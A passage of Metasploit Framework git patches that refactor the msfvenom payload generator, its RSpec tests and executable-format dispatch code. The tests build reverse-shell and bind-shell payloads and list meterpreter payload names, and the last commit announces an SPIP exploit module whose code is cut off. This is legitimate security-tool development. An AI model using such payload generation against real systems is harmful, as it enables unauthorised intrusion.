}.to raise_error(Msf::OptionValidateError) @@ -160,6 +174,7 @@ end context "without required datastore option" do + # Requires LHOST let(:args) { %w!-f exe -p windows/shell_reverse_tcp ! } it "should fail validation" do expect { venom.generate }.to raise_error(Msf::OptionValidateError) @@ -168,6 +183,7 @@ @platform_format_map.each do |plat, formats| formats.each do |format_hash| + # Need a new context for each so the let() will work correctly context "with format=#{format_hash[:format]} platform=#{plat} arch=#{format_hash[:arch]}" do # This will build executables with no payload. They won't work # of course, but at least we can see that it is producing the From 5ff8a58bc5eb0a9d89d398065df3adfd4ddcc832 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 3 Jul 2013 17:04:11 -0500 Subject: [PATCH 018/454] Make sure linux payloads produce /bin/sh --- spec/msfvenom_spec.rb | 50 ++++++++++++++++++++++++------------------- 1 file changed, 28 insertions(+), 22 deletions(-) diff --git a/spec/msfvenom_spec.rb b/spec/msfvenom_spec.rb index ef22268fe7dff..89387ba9e32a5 100644 --- a/spec/msfvenom_spec.rb +++ b/spec/msfvenom_spec.rb @@ -137,26 +137,30 @@ end - context "building an elf with linux/x86/shell_bind_tcp" do - let(:args) { %w! -f elf -p linux/x86/shell_bind_tcp ! } - # We're not encoding, so should be testable here - it "should contain /bin/sh" do - output = venom.generate_raw_payload - # usually push'd, so it's not all strung together - output.should include("/sh") - output.should include("/bin") + [ + { :format => "elf", :arch => "x86" }, + { :format => "raw", :arch => "x86" }, + { :format => "elf", :arch => "armle" }, + { :format => "raw", :arch => "armle" }, + { :format => "elf", :arch => "ppc" }, + { :format => "raw", :arch => "ppc" }, + { :format => "elf", :arch => "mipsle" }, + { :format => "raw", :arch => "mipsle" }, + ].each do |format_hash| + format = format_hash[:format] + arch = format_hash[:arch] + + context "building #{format} with linux/#{arch}/shell_bind_tcp" do + let(:args) { %W! -f #{format} -p linux/#{arch}/shell_bind_tcp ! } + # We're not encoding, so should be testable here + it "should contain /bin/sh" do + output = venom.generate_raw_payload + # usually push'd, so it's not all strung together + output.should include("/sh") + output.should include("/bin") + end end - end - context "with a raw linux/x86/shell_bind_tcp" do - let(:args) { %w! -f raw -p linux/x86/shell_bind_tcp ! } - # We're not encoding, so should be testable here - it "should contain /bin/sh" do - output = venom.generate_raw_payload - # usually push'd, so it's not all strung together - output.should include("/sh") - output.should include("/bin") - end end end @@ -175,7 +179,7 @@ context "without required datastore option" do # Requires LHOST - let(:args) { %w!-f exe -p windows/shell_reverse_tcp ! } + let(:args) { %w!-f exe -p windows/shell_reverse_tcp! } it "should fail validation" do expect { venom.generate }.to raise_error(Msf::OptionValidateError) end @@ -183,13 +187,15 @@ @platform_format_map.each do |plat, formats| formats.each do |format_hash| + format = format_hash[:format] + arch = format_hash[:arch] # Need a new context for each so the let() will work correctly - context "with format=#{format_hash[:format]} platform=#{plat} arch=#{format_hash[:arch]}" do + context "with format=#{format} platform=#{plat} arch=#{arch}" do # This will build executables with no payload. They won't work # of course, but at least we can see that it is producing the # correct file format for the given arch and platform. - let(:args) { %W! -p - -f #{format_hash[:format]} -a #{format_hash[:arch]} --platform #{plat} ! } - it "should print a #{format_hash[:format]} to stdout" do + let(:args) { %W! -p - -f #{format} -a #{arch} --platform #{plat} ! } + it "should print a #{format} to stdout" do venom.generate output = stdout.string verify_bin_fingerprint(format_hash, output) From 819c275e4b80fccf29c79642216076ddcc5bf51c Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 5 Jul 2013 12:23:27 -0500 Subject: [PATCH 019/454] Make comment a little clearer --- spec/msfvenom_spec.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/spec/msfvenom_spec.rb b/spec/msfvenom_spec.rb index 89387ba9e32a5..71838c27b15d3 100644 --- a/spec/msfvenom_spec.rb +++ b/spec/msfvenom_spec.rb @@ -155,7 +155,8 @@ # We're not encoding, so should be testable here it "should contain /bin/sh" do output = venom.generate_raw_payload - # usually push'd, so it's not all strung together + # Usually push'd in two instructions, so the whole string + # isn't all together. Check for the two pieces seperately output.should include("/sh") output.should include("/bin") end From 1962db5b8c2b3fdea6710eb3f030865f3471efad Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 5 Jul 2013 14:19:03 -0500 Subject: [PATCH 020/454] Don't stack trace on failed option validation See #2027 --- msfvenom | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/msfvenom b/msfvenom index a8a1bf53543b1..52162b627d604 100755 --- a/msfvenom +++ b/msfvenom @@ -474,7 +474,7 @@ if __FILE__ == $0 venom = MsfVenom.new venom.parse_args(ARGV) venom.generate - rescue MsfVenom::MsfVenomError => e + rescue MsfVenom::MsfVenomError, Msf::OptionValidateError => e $stderr.puts e.message exit(-1) end From ed3764150f2e963a691a74d930a325996e30f750 Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 5 Jul 2013 14:31:38 -0500 Subject: [PATCH 021/454] Don't continue if opts told us not to generate Such as is the case with running with --options --- msfvenom | 1 + 1 file changed, 1 insertion(+) diff --git a/msfvenom b/msfvenom index 52162b627d604..eac56ab2661f4 100755 --- a/msfvenom +++ b/msfvenom @@ -340,6 +340,7 @@ class MsfVenom payload_raw = generate_raw_payload + return unless payload_raw if @opts[:template] unless File.exist?(@opts[:template]) From 40a3da2b32805772670dea71bfd27ef595192ebb Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 5 Jul 2013 14:44:44 -0500 Subject: [PATCH 022/454] Reorganize spec a bit --- spec/msfvenom_spec.rb | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/spec/msfvenom_spec.rb b/spec/msfvenom_spec.rb index 71838c27b15d3..8ded50bb73937 100644 --- a/spec/msfvenom_spec.rb +++ b/spec/msfvenom_spec.rb @@ -94,18 +94,22 @@ end end - context "with unexpected options" do - it "should raise" do + context "with bad arguments" do + + it "should raise UsageError with empty arguments" do + expect { venom.parse_args([]) }.to raise_error(MsfVenom::UsageError) + end + + it "should raise with unexpected options" do expect { venom.parse_args(%w! --non-existent-option !) }.to raise_error(MsfVenom::UsageError) end - end - context "with missing required arg" do %w! --platform -a -b -c -f -p -n -s -i -x !.each do |required_arg| - it "#{required_arg} should raise" do + it "should raise UsageError with no arg for option #{required_arg}" do expect { venom.parse_args([required_arg]) }.to raise_error(MsfVenom::UsageError) end end + end end From 2841624fddeabc56e722588955a45d4c92b9257a Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 5 Jul 2013 15:18:17 -0500 Subject: [PATCH 023/454] Refactor spec and add more docs --- msfvenom | 73 +++++++++++++++++++++++++++++-------------- spec/msfvenom_spec.rb | 44 ++++++++++++++++++++------ 2 files changed, 85 insertions(+), 32 deletions(-) diff --git a/msfvenom b/msfvenom index eac56ab2661f4..2f6803b659fb0 100755 --- a/msfvenom +++ b/msfvenom @@ -16,6 +16,13 @@ require 'rex' require 'msf/ui' require 'msf/base' +# Mad payload generation +# +# @example +# venom = MsfVenom.new +# # ARGV will be parsed destructively! +# venom.parse_args(ARGV) +# $stdout.puts venom.generate class MsfVenom class MsfVenomError < StandardError; end class UsageError < MsfVenomError; end @@ -34,6 +41,11 @@ class MsfVenom @framework = framework end + # Creates a new framework object. + # + # @note Ignores any previously cached value + # @param (see ::Msf::Simple::Framework.create) + # @return [Msf::Framework] def init_framework(create_opts={}) create_opts[:module_types] ||= [ ::Msf::MODULE_PAYLOAD, ::Msf::MODULE_ENCODER, ::Msf::MODULE_NOP @@ -41,6 +53,9 @@ class MsfVenom @framework = ::Msf::Simple::Framework.create(create_opts.merge('DisableDatabase' => true)) end + # Cached framework object + # + # @return [Msf::Framework] def framework return @framework if @framework @@ -49,6 +64,10 @@ class MsfVenom @framework end + # Initialize the options for this run from ARGV + # @param args [Array] Usually ARGV. Parsed destructively. + # @return [void] + # @raise [UsageError] When given invalid options def parse_args(args) @opts = {} @datastore = {} @@ -181,6 +200,10 @@ class MsfVenom encoders end + # Read a raw payload from stdin (or whatever IO object we're currently + # using as stdin, see {#initialize}) + # + # @return [String] def payload_stdin @in.binmode payload = @in.read @@ -189,7 +212,7 @@ class MsfVenom def generate_nops(arch, len, nop_mod=nil, nop_opts={}) nop_opts['BadChars'] ||= '' - nop_jpts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ] + nop_opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ] if nop_mod nop = framework.nops.create(nop_mod) @@ -267,7 +290,32 @@ class MsfVenom "\n" + tbl.to_s + "\n" end + # @return [String] A raw shellcode blob + # @return [nil] When commandline options conspire to produce no output def generate_raw_payload + if @opts[:list] + @opts[:list].each do |mod| + case mod.downcase + when "payloads" + @err.puts dump_payloads + when "encoders" + @err.puts dump_encoders(@opts[:arch]) + when "nops" + @err.puts dump_nops + when "all" + # Init here so #dump_payloads doesn't create a framework with + # only payloads, etc. + init_framework + @err.puts dump_payloads + @err.puts dump_encoders + @err.puts dump_nops + else + raise UsageError, "Invalid module type" + end + end + return + end + if @opts[:payload] == 'stdin' payload_raw = payload_stdin if @opts[:encode] and (@opts[:arch].nil? or @opts[:platform].nil?) @@ -307,29 +355,8 @@ class MsfVenom end + # Main dispatch method to do the right thing with the given options. def generate - if @opts[:list] - @opts[:list].each do |mod| - case mod.downcase - when "payloads" - @err.puts dump_payloads - when "encoders" - @err.puts dump_encoders(@opts[:arch]) - when "nops" - @err.puts dump_nops - when "all" - # Init here so #dump_payloads doesn't create a framework with - # only payloads, etc. - init_framework - @err.puts dump_payloads - @err.puts dump_encoders - @err.puts dump_nops - else - print_error("Invalid module type") - end - end - return - end # Normalize the options @opts[:platform] = ::Msf::Module::PlatformList.transform(@opts[:platform]) if @opts[:platform] diff --git a/spec/msfvenom_spec.rb b/spec/msfvenom_spec.rb index 8ded50bb73937..08f19dfcae251 100644 --- a/spec/msfvenom_spec.rb +++ b/spec/msfvenom_spec.rb @@ -4,6 +4,20 @@ # doesn't end in .rb or .so, so have to load instead of require load File.join(Msf::Config.install_root, 'msfvenom') +shared_examples_for "nop dumper" do |block| + it "should list known nops" do + dump = block.call + + %w! + x86/opty2 + armle/simple + !.each do |name| + dump.should include(name) + end + end + +end + describe MsfVenom do let(:stdin) { StringIO.new("", "rb") } @@ -48,15 +62,8 @@ end describe "#dump_nops" do - it "should list known nops" do - dump = venom.dump_nops - - %w! - x86/opty2 - armle/simple - !.each do |name| - dump.should include(name) - end + it_behaves_like "nop dumper" do + let(:nops) { venom.dump_nops } end end @@ -141,6 +148,25 @@ end + context "with --list" do + context "with invalid module type" do + let(:args) { %w!--list asdf! } + it "should raise UsageError" do + expect { venom.generate_raw_payload }.to raise_error(MsfVenom::UsageError) + end + end + context "with nops" do + let(:args) { %w!--list nops! } + it_behaves_like "nop dumper" do + let(:nops) do + venom.generate_raw_payload + @err.string + end + end + end + + end + [ { :format => "elf", :arch => "x86" }, { :format => "raw", :arch => "x86" }, From 443289440133f49abc24a91257e4b63a8c4385fd Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 5 Jul 2013 15:35:08 -0500 Subject: [PATCH 024/454] Abstract the dumper tests --- spec/msfvenom_spec.rb | 116 +++++++++++++++++++++++------------------- 1 file changed, 63 insertions(+), 53 deletions(-) diff --git a/spec/msfvenom_spec.rb b/spec/msfvenom_spec.rb index 08f19dfcae251..1e2aca272e82d 100644 --- a/spec/msfvenom_spec.rb +++ b/spec/msfvenom_spec.rb @@ -4,10 +4,8 @@ # doesn't end in .rb or .so, so have to load instead of require load File.join(Msf::Config.install_root, 'msfvenom') -shared_examples_for "nop dumper" do |block| +shared_examples_for "nop dumper" do it "should list known nops" do - dump = block.call - %w! x86/opty2 armle/simple @@ -15,7 +13,41 @@ dump.should include(name) end end +end +shared_examples_for "encoder dumper" do + it "should list known encoders" do + %w! + generic/none + x86/shikata_ga_nai + x64/xor + !.each do |name| + dump.should include(name) + end + end +end + +shared_examples_for "payload dumper" do + it "should list known payloads" do + # Just a representative sample of some of the important ones. + %w! + cmd/unix/reverse + java/meterpreter/reverse_tcp + java/meterpreter/reverse_https + linux/x86/shell/reverse_tcp + linux/x86/shell_reverse_tcp + linux/x64/shell/reverse_tcp + linux/x64/shell_reverse_tcp + linux/armle/shell/reverse_tcp + linux/armle/shell_reverse_tcp + linux/mipsbe/shell_reverse_tcp + php/meterpreter/reverse_tcp + windows/meterpreter/reverse_tcp + windows/meterpreter/reverse_https + !.each do |name| + dump.should include(name) + end + end end describe MsfVenom do @@ -48,46 +80,20 @@ let(:framework) { @framework } describe "#dump_encoders" do - it "should list known encoders" do - dump = venom.dump_encoders - - %w! - generic/none - x86/shikata_ga_nai - x64/xor - !.each do |name| - dump.should include(name) - end + it_behaves_like "encoder dumper" do + let(:dump) { venom.dump_encoders } end end describe "#dump_nops" do it_behaves_like "nop dumper" do - let(:nops) { venom.dump_nops } + let(:dump) { venom.dump_nops } end end describe "#dump_payloads" do - it "should list known payloads" do - dump = venom.dump_payloads - # Just a representative sample of some of the important ones. - %w! - cmd/unix/reverse - java/meterpreter/reverse_tcp - java/meterpreter/reverse_https - linux/x86/shell/reverse_tcp - linux/x86/shell_reverse_tcp - linux/x64/shell/reverse_tcp - linux/x64/shell_reverse_tcp - linux/armle/shell/reverse_tcp - linux/armle/shell_reverse_tcp - linux/mipsbe/shell_reverse_tcp - php/meterpreter/reverse_tcp - windows/meterpreter/reverse_tcp - windows/meterpreter/reverse_https - !.each do |name| - dump.should include(name) - end + it_behaves_like "payload dumper" do + let(:dump) { venom.dump_payloads } end end @@ -148,25 +154,6 @@ end - context "with --list" do - context "with invalid module type" do - let(:args) { %w!--list asdf! } - it "should raise UsageError" do - expect { venom.generate_raw_payload }.to raise_error(MsfVenom::UsageError) - end - end - context "with nops" do - let(:args) { %w!--list nops! } - it_behaves_like "nop dumper" do - let(:nops) do - venom.generate_raw_payload - @err.string - end - end - end - - end - [ { :format => "elf", :arch => "x86" }, { :format => "raw", :arch => "x86" }, @@ -201,6 +188,29 @@ before { venom.parse_args(args) } + context "with --list" do + + context "with invalid module type" do + let(:args) { %w!--list asdf! } + it "should raise UsageError" do + expect { venom.generate_raw_payload }.to raise_error(MsfVenom::UsageError) + end + end + + [ "nop", "encoder", "payload" ].each do |type| + context "#{type}s" do + let(:args) { %W!--list #{type}s! } + it_behaves_like "#{type} dumper" do + let(:dump) do + venom.generate + stderr.string + end + end + end + end + + end + context "with invalid datastore option" do let(:args) { %w!-f exe -p windows/shell_reverse_tcp LPORT=asdf! } it "should fail validation" do From 7a4e9b993a2b82981bb0c7e3f913fcdd798f36f8 Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 5 Jul 2013 15:39:25 -0500 Subject: [PATCH 025/454] Changed my mind, this goes here --- msfvenom | 44 ++++++++++++++++++++++---------------------- 1 file changed, 22 insertions(+), 22 deletions(-) diff --git a/msfvenom b/msfvenom index 2f6803b659fb0..0a557eafbf02d 100755 --- a/msfvenom +++ b/msfvenom @@ -293,28 +293,6 @@ class MsfVenom # @return [String] A raw shellcode blob # @return [nil] When commandline options conspire to produce no output def generate_raw_payload - if @opts[:list] - @opts[:list].each do |mod| - case mod.downcase - when "payloads" - @err.puts dump_payloads - when "encoders" - @err.puts dump_encoders(@opts[:arch]) - when "nops" - @err.puts dump_nops - when "all" - # Init here so #dump_payloads doesn't create a framework with - # only payloads, etc. - init_framework - @err.puts dump_payloads - @err.puts dump_encoders - @err.puts dump_nops - else - raise UsageError, "Invalid module type" - end - end - return - end if @opts[:payload] == 'stdin' payload_raw = payload_stdin @@ -357,6 +335,28 @@ class MsfVenom # Main dispatch method to do the right thing with the given options. def generate + if @opts[:list] + @opts[:list].each do |mod| + case mod.downcase + when "payloads" + @err.puts dump_payloads + when "encoders" + @err.puts dump_encoders(@opts[:arch]) + when "nops" + @err.puts dump_nops + when "all" + # Init here so #dump_payloads doesn't create a framework with + # only payloads, etc. + init_framework + @err.puts dump_payloads + @err.puts dump_encoders + @err.puts dump_nops + else + raise UsageError, "Invalid module type" + end + end + return + end # Normalize the options @opts[:platform] = ::Msf::Module::PlatformList.transform(@opts[:platform]) if @opts[:platform] From da5a321be2b9db6daa2e2a64565fe444fe79a101 Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 5 Jul 2013 15:39:52 -0500 Subject: [PATCH 026/454] Derp, wrong method name --- spec/msfvenom_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/msfvenom_spec.rb b/spec/msfvenom_spec.rb index 1e2aca272e82d..04fa5da9afeaf 100644 --- a/spec/msfvenom_spec.rb +++ b/spec/msfvenom_spec.rb @@ -193,7 +193,7 @@ context "with invalid module type" do let(:args) { %w!--list asdf! } it "should raise UsageError" do - expect { venom.generate_raw_payload }.to raise_error(MsfVenom::UsageError) + expect { venom.generate }.to raise_error(MsfVenom::UsageError) end end From 6c6ad28da29a2a0a4f9d960df377545e39d13962 Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 5 Jul 2013 16:00:19 -0500 Subject: [PATCH 027/454] Merge datastore opts before listing --- msfvenom | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/msfvenom b/msfvenom index 0a557eafbf02d..6d01c0b172828 100755 --- a/msfvenom +++ b/msfvenom @@ -314,15 +314,15 @@ class MsfVenom if payload.nil? raise UsageError, "Invalid payload: #{@opts[:payload]}" end + @opts[:arch] ||= payload.arch[0] + # If it's not stdin, we'll already have a PlatformList + @opts[:platform] ||= payload.platform + payload.datastore.merge! @datastore if @opts[:list_options] print_status("Options for #{payload.fullname}\n\n" + ::Msf::Serializer::ReadableText.dump_module(payload,' ')) return end - @opts[:arch] ||= payload.arch[0] - # If it's not stdin, we'll already have a PlatformList - @opts[:platform] ||= payload.platform - payload.datastore.merge! @datastore payload_raw = payload.generate_simple( 'Format' => 'raw', 'Options' => @datastore, From 8e2df73f2cf6f981e765c776bbe7e18c0d359d95 Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 5 Jul 2013 16:06:00 -0500 Subject: [PATCH 028/454] Add spec for case-insensitive options See #2027 --- msfvenom | 1 + spec/msfvenom_spec.rb | 17 +++++++++++++++++ 2 files changed, 18 insertions(+) diff --git a/msfvenom b/msfvenom index 6d01c0b172828..114fcdd2d4915 100755 --- a/msfvenom +++ b/msfvenom @@ -318,6 +318,7 @@ class MsfVenom # If it's not stdin, we'll already have a PlatformList @opts[:platform] ||= payload.platform payload.datastore.merge! @datastore + if @opts[:list_options] print_status("Options for #{payload.fullname}\n\n" + ::Msf::Serializer::ReadableText.dump_module(payload,' ')) diff --git a/spec/msfvenom_spec.rb b/spec/msfvenom_spec.rb index 04fa5da9afeaf..d3db1ea226a90 100644 --- a/spec/msfvenom_spec.rb +++ b/spec/msfvenom_spec.rb @@ -143,6 +143,23 @@ output.should include("LHOST") output.should include("LPORT") end + context "and some datastore options" do + it "should print options" do + venom.parse_args %w! -o -p windows/meterpreter/reverse_tcp LPORT=1234! + expect { venom.generate_raw_payload }.to_not raise_error + output = stderr.string + output.should include("LHOST") + output.should match(/LPORT\s+1234/) + end + + it "should print options case-insensitively" do + venom.parse_args %w! -o -p windows/meterpreter/reverse_tcp lPoRt=1234! + expect { venom.generate_raw_payload }.to_not raise_error + output = stderr.string + output.should include("LHOST") + output.should match(/LPORT\s+1234/) + end + end end context "and an invalid payload" do From d10f082741a5d0695361cf7a97ebc5bc8ec4f946 Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 5 Jul 2013 16:58:19 -0500 Subject: [PATCH 029/454] Maybe fix travis? Works on my box --- spec/lib/msf/util/exe_spec.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/spec/lib/msf/util/exe_spec.rb b/spec/lib/msf/util/exe_spec.rb index 1ef4790d5f3c3..5c7a4f703834e 100644 --- a/spec/lib/msf/util/exe_spec.rb +++ b/spec/lib/msf/util/exe_spec.rb @@ -4,6 +4,8 @@ require 'msf/base/simple' require 'spec_helper' +require 'support/shared/contexts/msf/util/exe' + describe Msf::Util::EXE do subject do From 60a7ad551ed22f1747714850bfd6816d7305d2a8 Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 5 Jul 2013 17:02:45 -0500 Subject: [PATCH 030/454] Derp, missed file --- spec/support/shared/contexts/msf/util/exe.rb | 49 ++++++++++++++++++++ 1 file changed, 49 insertions(+) create mode 100644 spec/support/shared/contexts/msf/util/exe.rb diff --git a/spec/support/shared/contexts/msf/util/exe.rb b/spec/support/shared/contexts/msf/util/exe.rb new file mode 100644 index 0000000000000..302a889859d78 --- /dev/null +++ b/spec/support/shared/contexts/msf/util/exe.rb @@ -0,0 +1,49 @@ + + +shared_context 'Msf::Util::Exe' do + @platform_format_map = { + "windows" => [ + { :format => "dll", :arch => "x86", :file_fp => /PE32 .*DLL/ }, + { :format => "dll", :arch => "x64", :file_fp => /PE32\+.*DLL/ }, + { :format => "exe", :arch => "x86", :file_fp => /PE32 / }, + { :format => "exe", :arch => "x64", :file_fp => /PE32\+/ }, + { :format => "exe-small", :arch => "x86", :file_fp => /PE32 / }, + # No template for 64-bit exe-small. That's fine, we probably + # don't need one. + #{ :format => "exe-small", :arch => "x64", :file_fp => /PE32\+/ }, + { :format => "exe-only", :arch => "x86", :file_fp => /PE32 / }, + { :format => "exe-only", :arch => "x64", :file_fp => /PE32\+ / }, + ], + "linux" => [ + { :format => "elf", :arch => "x86", :file_fp => /ELF 32.*SYSV/ }, + { :format => "elf", :arch => "x64", :file_fp => /ELF 64.*SYSV/ }, + { :format => "elf", :arch => "armle", :file_fp => /ELF 32.*ARM/ }, + { :format => "elf", :arch => "mipsbe", :file_fp => /ELF 32-bit MSB executable, MIPS/ }, + { :format => "elf", :arch => "mipsle", :file_fp => /ELF 32-bit LSB executable, MIPS/ }, + ], + "bsd" => [ + { :format => "elf", :arch => "x86", :file_fp => /ELF 32.*BSD/ }, + ], + "solaris" => [ + { :format => "elf", :arch => "x86", :file_fp => /ELF 32/ }, + ], + "osx" => [ + { :format => "macho", :arch => "x86", :file_fp => /Mach-O.*i386/ }, + { :format => "macho", :arch => "x64", :file_fp => /Mach-O 64/ }, + { :format => "macho", :arch => "armle", :file_fp => /Mach-O.*acorn/ }, + { :format => "macho", :arch => "ppc", :file_fp => /Mach-O.*ppc/ }, + ], + } + + def verify_bin_fingerprint(format_hash, bin) + bin.should be_a(String) + fp = IO.popen("file -","w+") do |io| + io.write(bin) + io.close_write + io.read + end + if format_hash[:file_fp] + fp.should =~ format_hash[:file_fp] + end + end +end From 1b504197bee82c8a706b815d62d744f437164f7b Mon Sep 17 00:00:00 2001 From: James Lee Date: Sat, 6 Jul 2013 12:29:37 -0500 Subject: [PATCH 031/454] Check equality instead of regex Thanks, @Meatballs1 for finding the cause of this bug! [FixRM #8149] --- .yardopts | 4 +-- lib/msf/util/exe.rb | 30 +++++++------------- spec/support/shared/contexts/msf/util/exe.rb | 1 + 3 files changed, 13 insertions(+), 22 deletions(-) diff --git a/.yardopts b/.yardopts index bb3a0e391f917..96b75756c31df 100644 --- a/.yardopts +++ b/.yardopts @@ -3,5 +3,5 @@ --exclude \.ut\.rb/ --exclude \.ts\.rb/ --files CONTRIBUTING.md,COPYING,HACKING,LICENSE -lib/msf/**/*.rb -lib/rex/**/*.rb +#lib/msf/**/*.rb +#lib/rex/**/*.rb diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 9392ea0c2f5df..a69dcd82ac1a1 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1959,22 +1959,17 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) output = Msf::Util::EXE.to_win32pe_aspx(framework, code, exeopts) when 'dll' - if (not arch or (arch.index(ARCH_X86))) - output = Msf::Util::EXE.to_win32pe_dll(framework, code, exeopts) - end - - if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 ))) - output = Msf::Util::EXE.to_win64pe_dll(framework, code, exeopts) - end - + output = case arch + when ARCH_X86,nil then to_win32pe_dll(framework, code, exeopts) + when ARCH_X86_64 then to_win64pe_dll(framework, code, exeopts) + when ARCH_64 then to_win64pe_dll(framework, code, exeopts) + end when 'exe' - if (not arch or (arch.index(ARCH_X86))) - output = Msf::Util::EXE.to_win32pe(framework, code, exeopts) - end - - if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 ))) - output = Msf::Util::EXE.to_win64pe(framework, code, exeopts) - end + output = case arch + when ARCH_X86,nil then to_win32pe(framework, code, exeopts) + when ARCH_X86_64 then to_win64pe(framework, code, exeopts) + when ARCH_64 then to_win64pe(framework, code, exeopts) + end when 'exe-small' if(not arch or (arch.index(ARCH_X86))) @@ -2010,11 +2005,6 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) end end - # this should really be 'jar' - when 'java' - - - when 'macho' output = case arch when ARCH_X86,nil then to_osx_x86_macho(framework, code, exeopts) diff --git a/spec/support/shared/contexts/msf/util/exe.rb b/spec/support/shared/contexts/msf/util/exe.rb index 302a889859d78..5f44a97d12371 100644 --- a/spec/support/shared/contexts/msf/util/exe.rb +++ b/spec/support/shared/contexts/msf/util/exe.rb @@ -7,6 +7,7 @@ { :format => "dll", :arch => "x64", :file_fp => /PE32\+.*DLL/ }, { :format => "exe", :arch => "x86", :file_fp => /PE32 / }, { :format => "exe", :arch => "x64", :file_fp => /PE32\+/ }, + { :format => "exe", :arch => "x86_64", :file_fp => /PE32\+/ }, { :format => "exe-small", :arch => "x86", :file_fp => /PE32 / }, # No template for 64-bit exe-small. That's fine, we probably # don't need one. From 00c758109915636ecb6e33be5c39d8b440595d88 Mon Sep 17 00:00:00 2001 From: James Lee Date: Sat, 6 Jul 2013 12:39:15 -0500 Subject: [PATCH 032/454] Fix constant names and 'exe-only' That'll teach me to commit before the specs finish. Really [FixRM #8149] --- lib/msf/util/exe.rb | 27 ++++++++++---------- spec/support/shared/contexts/msf/util/exe.rb | 1 + 2 files changed, 15 insertions(+), 13 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index a69dcd82ac1a1..4b74e5d1de65a 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -365,8 +365,11 @@ def self.to_win32pe(framework, code, opts={}) def self.to_winpe_only(framework, code, opts={}, arch="x86") - # Allow the user to specify their own EXE template + if arch == ARCH_X86_64 + arch = ARCH_X64 + end + # Allow the user to specify their own EXE template set_template_default(opts, "template_"+arch+"_windows.exe") pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true) @@ -1962,28 +1965,26 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) output = case arch when ARCH_X86,nil then to_win32pe_dll(framework, code, exeopts) when ARCH_X86_64 then to_win64pe_dll(framework, code, exeopts) - when ARCH_64 then to_win64pe_dll(framework, code, exeopts) + when ARCH_X64 then to_win64pe_dll(framework, code, exeopts) end when 'exe' output = case arch when ARCH_X86,nil then to_win32pe(framework, code, exeopts) when ARCH_X86_64 then to_win64pe(framework, code, exeopts) - when ARCH_64 then to_win64pe(framework, code, exeopts) + when ARCH_X64 then to_win64pe(framework, code, exeopts) end when 'exe-small' - if(not arch or (arch.index(ARCH_X86))) - output = Msf::Util::EXE.to_win32pe_old(framework, code, exeopts) - end + output = case arch + when ARCH_X86,nil then to_win32pe_old(framework, code, exeopts) + end when 'exe-only' - if(not arch or (arch.index(ARCH_X86))) - output = Msf::Util::EXE.to_winpe_only(framework, code, exeopts) - end - - if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 ))) - output = Msf::Util::EXE.to_winpe_only(framework, code, exeopts, "x64") - end + output = case arch + when ARCH_X86,nil then to_winpe_only(framework, code, exeopts, arch) + when ARCH_X86_64 then to_winpe_only(framework, code, exeopts, arch) + when ARCH_X64 then to_winpe_only(framework, code, exeopts, arch) + end when 'elf' if (not plat or (plat.index(Msf::Module::Platform::Linux))) diff --git a/spec/support/shared/contexts/msf/util/exe.rb b/spec/support/shared/contexts/msf/util/exe.rb index 5f44a97d12371..06f8cfd883ad6 100644 --- a/spec/support/shared/contexts/msf/util/exe.rb +++ b/spec/support/shared/contexts/msf/util/exe.rb @@ -14,6 +14,7 @@ #{ :format => "exe-small", :arch => "x64", :file_fp => /PE32\+/ }, { :format => "exe-only", :arch => "x86", :file_fp => /PE32 / }, { :format => "exe-only", :arch => "x64", :file_fp => /PE32\+ / }, + { :format => "exe-only", :arch => "x86_64", :file_fp => /PE32\+ / }, ], "linux" => [ { :format => "elf", :arch => "x86", :file_fp => /ELF 32.*SYSV/ }, From 9fee68660b3d81564959bbe7df47b50beb7afdb8 Mon Sep 17 00:00:00 2001 From: James Lee Date: Sun, 7 Jul 2013 21:52:38 -0500 Subject: [PATCH 033/454] Fix overzealous commit -a --- .yardopts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.yardopts b/.yardopts index 96b75756c31df..bb3a0e391f917 100644 --- a/.yardopts +++ b/.yardopts @@ -3,5 +3,5 @@ --exclude \.ut\.rb/ --exclude \.ts\.rb/ --files CONTRIBUTING.md,COPYING,HACKING,LICENSE -#lib/msf/**/*.rb -#lib/rex/**/*.rb +lib/msf/**/*.rb +lib/rex/**/*.rb From 4d120f49ba57b334f72ae1b3fea06abdb30a2ea3 Mon Sep 17 00:00:00 2001 From: Davy Douhine Date: Thu, 11 Jul 2013 17:28:31 +0200 Subject: [PATCH 034/454] added exploit module for PHP inj in SPIP CMS --- .../exploits/linux/http/spip_connect_exec.rb | 99 +++++++++++++++++++ 1 file changed, 99 insertions(+) create mode 100644 modules/exploits/linux/http/spip_connect_exec.rb diff --git a/modules/exploits/linux/http/spip_connect_exec.rb 